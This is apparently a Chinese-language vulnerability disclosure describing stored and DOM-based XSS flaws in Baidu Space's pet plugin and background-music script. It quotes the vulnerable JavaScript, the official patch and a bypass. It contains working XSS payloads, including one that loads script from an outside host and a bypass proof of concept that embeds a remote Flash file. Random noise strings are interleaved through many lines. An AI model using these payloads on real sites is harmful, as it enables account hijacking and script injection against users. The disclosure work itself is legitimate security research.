百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
L6 @; y0 U( L6 w& f% h$ l4 M( D- h5 S8 T0 p1 D
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 5 [6 K) Z- [7 F9 r0 N1 C/ o
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 " c" }, |) O4 L% x9 ?
4 N' _, a$ {' F/ M% C9 c将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
/ c: _ j, [6 s6 C" g其中BdUtil.insertWBR为
: g" A" r% D: C L$ |; a1 Ffunction(text, step) { ( P5 ~3 O/ ?% K; o' v' w5 a( j
var textarea = textAreaCache || getContainer(); - l5 l0 Y" [9 B$ N7 w7 G6 `
if (!textarea) {
* p; l1 P$ D+ ^- u* j2 f6 L+ \0 U; G2 Y4 c return text; % Y* M6 T+ w+ z; t2 |
}
2 y1 o* e6 H* x% j; n# _ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); & I* F, g0 Y1 B( L, d- Y
var string = textarea.value;
7 a/ P4 Z' @$ n. s! Z+ Z/ B var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); . q! ?& y8 Y% T: u; |4 [: U) L7 K
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); - t# g+ }. M! p0 }) B
return result; 2 A c& }4 z0 ~5 ?3 ~1 H
}
. G- v1 U. \6 o7 h4 y! h在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 1 m- B) F3 |% R/ J- S
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
% n A3 X1 H6 D
) T" t9 R. ?) s e' s* U1 D k二:creatbgmusic() Dom-Xss Bug
2 X- M+ `: d, H- G. g( h百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 % ]* a. E% y T& i2 i+ ]
% J) R& ? L y6 F4 \4 s在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 8 g8 l( D# ~3 x0 b6 K) W1 y# _
0 N. i9 T+ r1 P/ _; X6 \, b' Ofunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
' |1 I, N* X) c4 r, ` //传入的murl赋值到bgmusic1和bgmusic2中
( ~# z3 M. V+ Y1 ]& I //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
5 |: Y( y8 O! @+ v# @ var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
/ v9 D+ v5 L$ K/ u1 r/ T if (musicnum <= 1) {
M/ X, ?: f9 l- B bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
* j& z7 _5 W# P% O; H7 ^; j/ p } 4 o9 ?$ s0 W0 Y( z ?
bgmusic1 += "</OBJECT>";
1 v8 y1 H" J2 s E: F var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
/ I; A: [! b5 S& i/ w5 x j9 ?4 ^ if (musicnum <= 1) {
' H1 O- r2 Z+ p; ~ bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; + k* d6 Z0 L1 p' R0 h/ E
}
1 O0 M: g' }3 e/ K3 V4 s8 |8 P bgmusic2 += "> </EMBED>"; 9 n/ g) H! Y+ p
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
t( L/ w* a( S/ `+ M7 C var bgmus = detectWMP(); 4 f2 w _/ h4 D- ^; r- G
if (functype == "FckMusicHelper") {
# ^- p: M* N) P+ s" I9 {, J if (bgmus.installed) {
/ b; I! Q0 y% C& k% e3 I, X if (bgmus.type == "IE") { " z# f# i, S% D l" p
return bgmusic1;
$ w, M% W* ^: g, N# g6 R. Q1 [: n } else if (bgmus.type == "NS") { u$ |3 C3 ] l+ q: ?1 n
return bgmusic2;
& O6 T8 i# W7 {5 H$ L: V4 W8 r) \ }
2 P( H% z0 H% Y/ {$ R } else {
0 `+ L$ ^, a1 ], k: b* V return bgmusic3; $ [) J6 D+ l) Y+ _. k/ s H
} & z& w! d) u8 x/ U4 G9 O
} else { ' h9 c% [, s2 y' k
if (bgmus.installed) {
' h! C/ |, |$ l6 B$ H4 @ //document.write 直接输出bgmusic变量 导致xss 5 v/ ~8 J8 U1 p- L" {7 w( o
if (bgmus.type == "IE") {
1 N* z4 K& j, R document.write(bgmusic1); ' L% I; g* ~6 k/ f0 J, j
} else if (bgmus.type == "NS") { I3 Y% W# i* D. N) w
document.write(bgmusic2); , V6 k# I: U/ O; E- s: x$ y
} ) h4 L1 m2 ]% Y2 n: I# R2 a3 J
} else {
( X) [% t4 K, y: w document.write(bgmusic3);
/ V# L! R. ^' `5 x( A, n1 l } 8 B: z1 X4 O$ I3 ]# A: ]
return ""; , E. n \+ S9 D! q( ]) D, ^
} / L% r% C1 n$ k5 m! _9 T
} & T" k! u `, D9 |5 U) ]
1 D* v2 d! w2 j' I在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
. P* \ \$ C- d6 k* V) M- k0 U+ n" Y9 z- g) u# ~2 { m. O
function initBlogTextForFCK(){ 1 G1 {* c3 k$ ?2 R1 p
//fck init music
. w! R1 a2 ^5 Rif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 8 N$ F3 T7 I8 @4 B& h/ p7 U
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
) w4 v$ {' t {var isAutoPlay=true;
$ _/ g% s, D7 v2 Q9 V' k. p) ~& ?% ffor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
+ v9 Y0 w# N' h. |" r var img=imgBox;
1 S+ S4 i8 O! D. B+ r, T if(img.getAttribute(’rel’)){ 2 G# \+ M5 _ b2 f1 R
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
4 W& X; o, i% H. r7 ` var musicDiv = document.createElement("SPAN"); 7 f2 ^3 x; y1 s: n0 l% g0 ^8 U! M0 j
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] $ S5 }8 {" o- H: _4 d
: c+ |# Y2 h) M' j# w R ..........................
N0 o7 [ J4 `; ~; | " P' m( o \$ B+ Z
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
9 } e$ {+ O: h8 P; t1 I- s; z' T# W: u var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 2 P% L: q. g# ]3 m g( C
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
% ^! L% V- t5 M; G+ Z: Z( m2 v musicDiv.innerHTML=shtml;
- ]! l9 P% U; Z" Z: s* Y9 J. y i--;n--; 4 l- z, p4 N5 x3 E7 y
} 0 }+ L/ h: n! B6 O& c* h+ n8 D8 F7 k
}
+ e# u/ f- t; v4 K" C1 Q/ A
% O# a' N! j6 j- ^从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
. `8 e, l- S* Q9 \0 t/ v9 X5 ~
' ~2 ?' A- o, y* v% {1 a. a: z) P: R$ L测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
6 X& d; b7 R# ?, a* |% M8 l* j0 H) t* N2 P5 P4 q# a% W1 v/ e
等待官方补丁
. l4 m6 `* W0 i2 J! W6 A' n6 B. ~6 c
update 2010年5月13日 2 ?! l& N' L- j( X# }5 r V9 d' V
& s0 o6 [9 [- h9 d
官方补丁:
; @" q; n" g$ J4 d8 f
" u% @9 A( y, D- o, L/ f% ^var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
3 a5 R; W2 d* Q. X$ A, f改为:
& y; v6 O" l" B$ q! i& b& p" hvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); % r+ L$ H. w5 [
5 K, }8 V) c c& e9 o- q) V
update 2010年5月13日 21:50:37
8 h( y2 X% G0 W7 _; c" }' z& ]" V2 V
补丁存在漏洞 没有过滤" 可以继续跨: + o. S1 j3 v! X& G$ N" r9 U
5 |, z; k, v g9 T: i7 qNEW POC: ' v" Q4 p: g, R, P
1 {/ a0 {9 }; d" q1 W<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
3 r, x3 f) B# y' Z/ I( B5 n v' V3 q/ C
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
1 e, x7 ]2 U7 w
- ]" K' o2 X8 u( M |